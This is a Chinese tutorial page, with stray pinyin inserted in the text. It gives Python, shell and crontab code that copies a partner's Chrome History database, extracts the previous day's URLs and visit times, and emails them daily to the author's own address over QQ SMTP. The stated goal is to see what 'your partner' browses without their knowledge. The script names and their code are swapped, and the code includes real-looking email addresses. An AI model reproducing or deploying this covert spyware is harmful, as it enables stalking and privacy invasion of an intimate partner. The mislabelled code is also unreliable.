Python實(shí)時(shí)監(jiān)控網(wǎng)站瀏覽記錄實(shí)現(xiàn)過(guò)程詳解
需求:
(1) 獲取你對(duì)象chrome前一天的瀏覽記錄中的所有網(wǎng)址(url)和訪(fǎng)問(wèn)時(shí)間,并存在一個(gè)txt文件中
(2)將這個(gè)txt文件發(fā)送給指定的郵箱地址(你的郵箱)
(3)建立例行任務(wù),每天定時(shí)自動(dòng)完成這些操作,你就可以通過(guò)郵件查看你對(duì)象每天看啥了
準(zhǔn)備
- macOS Sierra
- Python3.6
- Chrome
發(fā)送郵件的qq郵箱地址
qq郵箱授權(quán)碼
SMTP服務(wù)器地址 : smtp.qq.com
接受郵件的郵箱地址
執(zhí)行:
(1) 首先我們用DB Browser for SQLite來(lái)看下History中的urls表的數(shù)據(jù)組成
從表中可以看出,我們要的網(wǎng)址和訪(fǎng)問(wèn)時(shí)間就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*- from email import encoders from email.header import Header from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.utils import parseaddr, formataddr import smtplib import argparse # 1.文件執(zhí)行的需要的參數(shù)(result.txt) parser = argparse.ArgumentParser() parser.add_argument('affix_file',help='the path of the affix') args = parser.parse_args() # 2.格式化一個(gè)郵件地址和郵件信息 def _format_addr(s): name, addr = parseaddr(s) return formataddr((Header(name, 'utf-8').encode(), addr)) #連接服務(wù)器(這里大家好改成自己的!) from_addr = "771568102@qq.com" #發(fā)件人郵箱 password = "xxxxxxxx" #發(fā)件人郵箱授權(quán)碼 to_addr = "2160802033@cnu.edu.cn" #收件人郵箱 smtp_server = "smtp.qq.com" #SMTP服務(wù)器地址 #郵件發(fā)件人名字、收件人名字、主題 msg = MIMEMultipart() msg['From'] = _format_addr('風(fēng)一樣的女子 <%s>' % from_addr) msg['To'] = _format_addr('風(fēng)一樣的男子 <%s>' % to_addr) msg['Subject'] = Header('chrome歷史記錄每日更新', 'utf-8').encode() # 郵件正文是MIMEText: msg.attach(MIMEText('窺探隱私是犯法的啊!', 'plain', 'utf-8')) # 添加附件就是加上一個(gè)MIMEBase,從本地讀取一個(gè)txt文件: with open(args.affix_file, 'r') as f: # 設(shè)置附件的MIME和文件名,這里是py類(lèi)型: mime = MIMEBase('result', 'txt', filename='result.txt') # 加上必要的頭信息: mime.add_header('Content-Disposition', 'attachment', filename='result.txt') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') # 把附件的內(nèi)容讀進(jìn)來(lái): mime.set_payload(f.read()) # 用Base64編碼: encoders.encode_base64(mime) # 添加到MIMEMultipart: msg.attach(mime) #3.通過(guò)SMTP發(fā)送出去 server = smtplib.SMTP(smtp_server, 25) server.set_debuglevel(1) server.login(from_addr, password) server.sendmail(from_addr, [to_addr], msg.as_string()) server.quit()
通過(guò)這個(gè)腳本,我們可以把url和訪(fǎng)問(wèn)時(shí)間提取出來(lái),并且存儲(chǔ)在
result.txt中,下圖就是我得到的部分結(jié)果
(3) send_email.py:
# -*- coding: utf-8 -*- import sqlite3 #大家要改成自己的路徑 history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History' # 1.連接history_db c = sqlite3.connect(history_db) cursor = c.cursor() # 2.選取我們想要的網(wǎng)址和訪(fǎng)問(wèn)時(shí)間 try: select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;" cursor.execute(select_statement) except sqlite3.OperationalError: print("[!] The database is locked! Please exit Chrome and run the script again.") quit() # 3.將網(wǎng)址和訪(fǎng)問(wèn)時(shí)間存入result.txt文件 results = cursor.fetchall() with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路徑 for i in range(len(results)): f.write(results[i][1]+'\n') f.write(results[i][0]+'\n')
通過(guò)這個(gè)腳本,我們可以把result.txt作為附件,發(fā)送給指定郵箱地
址,下圖是我得到的部分結(jié)果
(4) ./start.sh :其實(shí),前面幾個(gè)腳本,已經(jīng)完成了我們的任務(wù),但是每次都執(zhí)行這么多腳
本,太麻煩了,我們可以把這些腳本的執(zhí)行語(yǔ)句整理成一個(gè)shell腳本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/ python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
這樣,我們?cè)诮K端執(zhí)行./start.sh,系統(tǒng)就會(huì)幫我們把這三條語(yǔ)句依次執(zhí)行了
注意:由于crontab命令需要絕對(duì)路徑,所以這里的路徑都是用絕對(duì)路徑
(5) crontab :如果使用了這個(gè)命令,在電腦開(kāi)機(jī)并且聯(lián)網(wǎng)的情況,系統(tǒng)會(huì)自動(dòng)執(zhí)行,然后把結(jié)果發(fā)到你的郵箱
使用方法:在終端下輸入crontab -e,使用vim輸入下面一行代碼就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
說(shuō)明:前面兩個(gè)數(shù)字,就是你每天執(zhí)行這個(gè)腳本的時(shí)間,我這里設(shè)置的是14:20。
重要的事再說(shuō)一遍,一定要寫(xiě)絕對(duì)路徑?。?/p>
以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
python flask開(kāi)發(fā)的簡(jiǎn)單基金查詢(xún)工具
基于python flask開(kāi)發(fā)的簡(jiǎn)單基金查詢(xún)工具,支持大盤(pán)指數(shù)實(shí)時(shí)情況查看,總持倉(cāng)實(shí)際漲幅、預(yù)估漲幅等功能,感興趣的朋友可以下載該項(xiàng)目來(lái)查看使用2021-06-06Python 實(shí)現(xiàn)兩個(gè)服務(wù)器之間文件的上傳方法
今天小編就為大家分享一篇Python 實(shí)現(xiàn)兩個(gè)服務(wù)器之間文件的上傳方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2019-02-02將數(shù)據(jù)集制作成VOC數(shù)據(jù)集格式的實(shí)例
今天小編就為大家分享一篇將數(shù)據(jù)集制作成VOC數(shù)據(jù)集格式的實(shí)例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-02-02django 使用 request 獲取瀏覽器發(fā)送的參數(shù)示例代碼
這篇文章主要介紹了django 使用 request 獲取瀏覽器發(fā)送的參數(shù)示例代碼,獲取數(shù)據(jù)有四種方式,具體內(nèi)容詳情大家跟隨腳本之家小編一起看看吧2018-06-06Python+OpenCV編寫(xiě)車(chē)輛計(jì)數(shù)器系統(tǒng)
本文,我們將使用歐幾里德距離跟蹤和輪廓的概念在 Python 中使用 OpenCV 構(gòu)建車(chē)輛計(jì)數(shù)器系統(tǒng),文中的示例代碼講解詳細(xì),感興趣的可以了解一下2022-05-05Flask框架響應(yīng)、調(diào)度方法和藍(lán)圖操作實(shí)例分析
這篇文章主要介紹了Flask框架響應(yīng)、調(diào)度方法和藍(lán)圖操作,結(jié)合實(shí)例形式分析了Flask框架中響應(yīng)、調(diào)度方法和藍(lán)圖相關(guān)功能、使用方法及操作注意事項(xiàng),需要的朋友可以參考下2018-07-07